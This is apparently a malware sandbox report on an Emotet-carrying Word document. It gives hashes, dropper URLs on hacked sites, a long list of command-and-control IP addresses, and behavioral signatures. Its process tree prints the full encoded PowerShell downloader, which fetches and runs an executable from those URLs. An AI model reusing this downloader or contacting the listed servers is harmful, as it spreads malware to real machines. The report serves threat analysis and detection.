Analysis
- max time kernel
138s - max time network
150s - platform
windows10_x64 - resource
win10v200722 - submitted
22/09/2020, 07:55
Static task
static1
Behavioral task
behavioral1
Sample
DOK_22_09_2020.doc
Resource
win7v200722
General
- Target DOK_22_09_2020.doc
- Size 194KB
- Sample200922-ngtvfs4k7e
- SHA256 04cabb338b7a3e94fdf32d4bc5677be8a6320b982cee3ea841041bdac66d1693
- MD5 d229a649d884d462fa15388f76b842dc
- SHA1 08331afc67c32b370c7221ddb5f7e18dd5cf6646
- SHA512 4b2d07da27cf57c6a0492cf2d9447e417cf902546ba7233b29df989b9e94842aa13f321f57b318d2346413d5eff5fb8c1bd8d3cb6ab93dee6cde1b0fd8184866
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
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exe.dropper
https://eaglehatch.com/wp-content/TwA6w6/
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exe.dropper
https://www.tiendajuanvaldez.com/wp-admin/igkf/
-
exe.dropper
https://aspeninstitute.es/catalogmap/fAatpjn/
-
exe.dropper
https://1horse.ir/wp-includes/7Ev/
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exe.dropper
https://theshopclubs.com/wp-admin/7/
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exe.dropper
https://eliteweb.cl/dev-area/6V/
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exe.dropper
https://stockval.com.br/wp-admin/68K36/
Extracted
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emotet
-
24.43.32.186:80
-
38.111.46.46:8080
-
134.209.36.254:8080
-
162.241.242.173:8080
-
74.120.55.163:80
-
61.92.17.12:80
-
219.74.18.66:443
-
156.155.166.221:80
-
104.131.44.150:8080
-
37.139.21.175:8080
-
94.1.108.190:443
-
169.239.182.217:8080
-
220.245.198.194:80
-
139.99.158.11:443
-
91.211.88.52:7080
-
62.75.141.82:80
-
174.45.13.118:80
-
137.119.36.33:80
-
188.219.31.12:80
-
103.86.49.11:8080
-
104.131.11.150:443
-
124.41.215.226:80
-
78.187.156.31:80
-
104.32.141.43:80
-
47.144.21.12:443
-
93.147.212.206:80
-
200.123.150.89:443
-
121.7.127.163:80
-
200.114.213.233:8080
-
94.200.114.161:80
-
24.179.13.119:80
-
84.39.182.7:80
-
97.82.79.83:80
-
87.106.136.232:8080
-
5.196.74.210:8080
-
24.43.99.75:80
-
213.196.135.145:80
-
94.23.237.171:443
-
74.134.41.124:80
-
96.249.236.156:443
-
95.213.236.64:8080
-
137.59.187.107:8080
-
75.139.38.211:80
-
82.225.49.121:80
-
123.176.25.234:80
-
194.187.133.160:443
-
62.30.7.67:443
-
109.74.5.95:8080
-
176.111.60.55:8080
-
24.137.76.62:80
-
37.187.72.193:8080
-
110.145.77.103:80
-
153.137.36.142:80
-
1.221.254.82:80
-
195.7.12.8:80
-
110.5.16.198:80
-
185.94.252.104:443
-
104.236.246.93:8080
-
78.24.219.147:8080
-
85.152.162.105:80
-
85.105.205.77:8080
-
139.59.60.244:8080
-
79.137.83.50:443
-
50.91.114.38:80
-
172.91.208.86:80
-
74.219.172.26:80
-
83.169.36.251:8080
-
153.232.188.106:80
-
209.141.54.221:8080
-
168.235.67.138:7080
-
139.130.242.43:80
-
121.124.124.40:7080
-
89.216.122.92:80
-
203.153.216.189:7080
-
187.161.206.24:80
-
157.245.99.39:8080
-
195.251.213.56:80
-
71.72.196.159:80
-
174.102.48.180:443
-
181.169.34.190:80
-
140.186.212.146:80
-
201.173.217.124:443
-
42.200.107.142:80
-
79.98.24.39:8080
-
5.39.91.110:7080
-
139.162.108.71:8080
-
74.208.45.104:8080
-
61.19.246.238:443
-
50.35.17.13:80
-
95.179.229.244:8080
-
216.139.123.119:80
-
120.150.60.189:80
-
219.75.128.166:80
-
68.188.112.97:80
-
107.5.122.110:80
-
87.106.139.101:8080
-
46.105.131.79:8080
-
82.80.155.43:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1364 3536 powershell.exe 72 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2188-15-0x00000000005D0000-0x00000000005E2000-memory.dmp emotet behavioral2/memory/2188-15-0x00000000005D0000-0x00000000005E2000-memory.dmp emotet behavioral2/memory/2188-16-0x00000000005B0000-0x00000000005C0000-memory.dmp emotet behavioral2/memory/2188-16-0x00000000005B0000-0x00000000005C0000-memory.dmp emotet behavioral2/memory/808-19-0x0000000000680000-0x0000000000692000-memory.dmp emotet behavioral2/memory/808-19-0x0000000000680000-0x0000000000692000-memory.dmp emotet behavioral2/memory/808-20-0x00000000006A0000-0x00000000006B0000-memory.dmp emotet behavioral2/memory/808-20-0x00000000006A0000-0x00000000006B0000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 22 1364 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2188 Eaw3l8.exe 808 fsquirt.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Windows.Storage.ApplicationData\fsquirt.exe Eaw3l8.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 532 WINWORD.EXE 532 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1364 powershell.exe 1364 powershell.exe 1364 powershell.exe 808 fsquirt.exe 808 fsquirt.exe 808 fsquirt.exe 808 fsquirt.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1364 powershell.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE 532 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1364 wrote to memory of 2188 1364 powershell.exe 79 PID 1364 wrote to memory of 2188 1364 powershell.exe 79 PID 1364 wrote to memory of 2188 1364 powershell.exe 79 PID 2188 wrote to memory of 808 2188 Eaw3l8.exe 81 PID 2188 wrote to memory of 808 2188 Eaw3l8.exe 81 PID 2188 wrote to memory of 808 2188 Eaw3l8.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOK_22_09_2020.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:532
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABTAGUAZQBiAHgANgB1AD0AKAAoACcATQAnACsAJwBsADIAOAAnACkAKwAoACcAeQAnACsAJwBzADkAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAFIAUAByAG8ARgBpAEwARQBcAGcAWQByADEAagBRAEsAXABrAGMAUQBFAEYAaAA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAGUAQwB0AG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAHIASQBgAFQAeQBwAGAAUgBvAGAAVABPAGAAQwBvAEwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAJwArACgAJwAxACcAKwAnADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAxADEALAAgACcAKwAnAHQAJwArACcAbABzACcAKQApADsAJABBAGgAbABhAHQAMQAzACAAPQAgACgAKAAnAEUAYQAnACsAJwB3ACcAKQArACcAMwAnACsAJwBsADgAJwApADsAJABLADUAYgB6AGsAMQBhAD0AKAAnAFYAbwAnACsAJwAxAG0AJwArACgAJwBvAHYAJwArACcAMQAnACkAKQA7ACQAVgBkAHYAYwBtAGcAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBHAHkAcgAxAGoAcQBrAHsAMAB9AEsAYwAnACsAJwBxACcAKwAnAGUAZgBoADUAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABBAGgAbABhAHQAMQAzACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABKAGUAYQBpADkAegBuAD0AKAAnAFgAJwArACcAZgAnACsAKAAnAG8AOQBlAHYAJwArACcAYgAnACkAKQA7ACQASgBtADEAMABlAGkAOQA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAQgBjAEwASQBFAE4AdAA7ACQAUQB3AHUAMgBlADAAdAA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGUAYQBnACcAKQArACgAJwBsAGUAaABhAHQAJwArACcAYwAnACkAKwAnAGgAJwArACgAJwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuACcAKQArACcAdABlACcAKwAnAG4AJwArACcAdAAnACsAKAAnAC8AVAAnACsAJwB3AEEANgAnACkAKwAoACcAdwAnACsAJwA2AC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAvAHcAdwB3ACcAKwAnAC4AJwArACcAdABpACcAKQArACcAZQBuACcAKwAoACcAZABhAGoAdQAnACsAJwBhACcAKQArACgAJwBuAHYAJwArACcAYQBsACcAKQArACgAJwBkAGUAegAuACcAKwAnAGMAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvAGkAZwBrACcAKwAnAGYAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwAHMAOgAvAC8AJwArACcAYQBzAHAAZQBuACcAKwAnAGkAbgBzACcAKQArACgAJwB0AGkAdAAnACsAJwB1AHQAZQAuACcAKwAnAGUAcwAnACkAKwAoACcALwBjAGEAJwArACcAdABhACcAKQArACgAJwBsACcAKwAnAG8AZwBtAGEAcAAvAGYAQQBhAHQAcABqACcAKwAnAG4ALwAqAGgAdAB0ACcAKwAnAHAAcwA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAMQBoACcAKwAnAG8AJwApACsAKAAnAHIAcwAnACsAJwBlACcAKQArACcALgBpACcAKwAoACcAcgAnACsAJwAvAHcAJwArACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAdQAnACsAJwBkAGUAcwAvADcARQB2AC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwBzADoAJwApACsAJwAvACcAKwAoACcALwB0AGgAZQBzAGgAJwArACcAbwBwACcAKwAnAGMAJwApACsAKAAnAGwAdQAnACsAJwBiAHMALgBjAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpAG4AJwArACcALwAnACsAJwA3ACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAOgAvAC8AZQBsAGkAJwApACsAJwB0AGUAJwArACgAJwB3AGUAYgAnACsAJwAuAGMAJwArACcAbAAvACcAKQArACgAJwBkAGUAJwArACcAdgAtAGEAcgBlAGEALwA2ACcAKwAnAFYAJwArACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAvAC8AcwAnACkAKwAoACcAdABvACcAKwAnAGMAJwApACsAKAAnAGsAJwArACcAdgBhACcAKQArACcAbAAuACcAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALgBiAHIALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYQBkAG0AJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnADYAOABLACcAKQArACgAJwAzACcAKwAnADYALwAnACkAKQAuACIAUwBQAEwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVADQAMgBoAHYAZwBrAD0AKAAnAE0AJwArACgAJwBoACcAKwAnADkAdAA5AGcAdAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFQAMAB0ADYAcQA0AHgAIABpAG4AIAAkAFEAdwB1ADIAZQAwAHQAKQB7AHQAcgB5AHsAJABKAG0AMQAwAGUAaQA5AC4AIgBEAG8AdwBgAE4AYABsAG8AYQBkAGYASQBsAEUAIgAoACQAVAAwAHQANgBxADQAeAAsACAAJABWAGQAdgBjAG0AZwBlACkAOwAkAEwAZQBqAHkAbAB5AHAAPQAoACcATQBmACcAKwAoACcAMwAnACsAJwBlAGwAYwAnACkAKwAnADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFYAZAB2AGMAbQBnAGUAKQAuACIATABlAG4AYABHAGAAVABoACIAIAAtAGcAZQAgADIANAA2ADkAMAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABWAGQAdgBjAG0AZwBlACkAOwAkAEwAdQB3ADYAdABsAGcAPQAoACgAJwBIADIAJwArACcAMQAnACkAKwAoACcAMwA1ACcAKwAnADAAJwApACsAJwAyACcAKQA7AGIAcgBlAGEAawA7ACQAWQByAGEAbQBvADAAZQA9ACgAKAAnAEIAJwArACcAMgBwACcAKQArACcAcAAnACsAKAAnAGYAJwArACcAbwBwACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAGcAdAB4ADgAdwA5AD0AKAAnAEIAJwArACgAJwA1AGEAOAAnACsAJwB6ADkAeAAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Users\Admin\Gyr1jqk\Kcqefh5\Eaw3l8.exe"C:\Users\Admin\Gyr1jqk\Kcqefh5\Eaw3l8.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Windows\SysWOW64\Windows.Storage.ApplicationData\fsquirt.exe"C:\Windows\SysWOW64\Windows.Storage.ApplicationData\fsquirt.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:808
-
-